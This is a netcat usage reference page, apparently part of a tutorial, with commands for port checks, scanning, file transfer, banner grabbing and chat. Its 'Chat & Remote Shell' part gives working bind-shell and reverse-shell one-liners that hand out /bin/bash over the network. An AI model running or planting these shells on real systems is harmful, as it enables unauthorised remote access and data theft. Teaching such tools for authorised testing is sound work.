Netcat Section 8 of 14

Usage Examples

Real-world netcat commands for port checks, file transfers, banner grabbing, chat, and remote shells. Each example includes the exact command and guidance on when to use it.

Basic Connection Examples

Connect to a remote SSH server

bash

1nc -v 10.0.0.1 22

Connects to port 22 (SSH) and displays the banner. Use -vv for extra verbosity.

Simple TCP connection test

bash

1nc -z -v 10.0.0.1 80

The -z flag sends no data and exits after connection is established. Perfect for port scanning or checking if a service is alive.

UDP port check

bash

1nc -z -u -v 10.0.0.1 53

Checks if UDP port 53 (DNS) is open. UDP does not guarantee response delivery; -z returns immediately after sending.

File Transfer

Send a file from client to server

bash

1nc -w 3 10.0.0.1 4444 < secret.txt

Client sends secret.txt to listening server on port 4444. -w 3 sets a 3-second timeout.

Receive a file on the server

bash

1nc -l -p 4444 > received.txt

Listener saves incoming data to received.txt. Start listener first, then run the client.

Transfer an entire directory (tar + nc)

bash

1tar -czf - /path/to/dir | nc 10.0.0.1 4444

Compresses and streams a directory over netcat. On the receiving end: nc -l -p 4444 | tar -xzf -

Port Scanning

Scan single port

bash

1nc -z -v 10.0.0.1 443

Quick check if port 443 is open on 10.0.0.1. Returns whether the connection succeeded.

Scan port range

bash

1for port in {1..100}; do nc -z -w 1 -v 10.0.0.1 $port 2>&1 | grep succeeded; done

Iterates ports 1–100 and prints only those that connect. Adjust range for your target.

Scan common ports

bash

1for p in 21 22 23 25 53 80 110 143 443 3306; do nc -z -w 1 10.0.0.1 $p && echo "Port $p open"; done

Tests a curated list of common service ports. Faster than scanning 65535 ports.

Banner Grabbing

Grab SSH banner

bash

1nc -nv 10.0.0.1 22

Connects to SSH port and reads the service banner. Reveals OpenSSH version.

Grab HTTP banner after sending HEAD

bash

1echo -e "HEAD / HTTP/1.1\r\nHost: 10.0.0.1\r\n\r\n" | nc 10.0.0.1 80

Some HTTP servers do not send a banner on connect. This HEAD request forces a response with the Server header.

Chat & Remote Shell

Two-person chat (listener)

bash

1nc -l -p 4444

Start a simple chat server on port 4444. Another user connects with nc 10.0.0.1 4444.

Two-person chat (client)

bash

1nc 10.0.0.1 4444

Connect to a listening netcat chat server. Everything typed is sent to the other side.

Bind shell (listener on target)

bash

1nc -l -p 4444 -e /bin/bash

Target listens and executes bash for any connecting client. Classic bind shell (not available in OpenBSD nc).

Reverse shell (target connects to you)

bash

1nc 10.0.0.1 4444 -e /bin/bash

Target connects to your IP and gives you a bash shell. Use when target is behind NAT/firewall.

Advanced & Miscellaneous

Proxy connection (socks5 via ncat)

bash

1ncat --proxy 10.0.0.1:1080 --proxy-type socks5 target.com 80

Routes traffic through a SOCKS5 proxy. Requires ncat, not classic netcat.

Encrypted chat with SSL (ncat)

bash

1ncat --ssl -l -p 4444

Listener with SSL encryption. Client connects with: ncat --ssl 10.0.0.1 4444

Web server test (send HTTP request)

bash

1printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

Manually send a raw HTTP request and view the raw response. Useful for debugging.

Important

Most netcat shell examples require a listener on the attacker side. Ensure your listener IP is reachable from the target and that you have explicit authorization for the engagement.

Next: Command Builder Back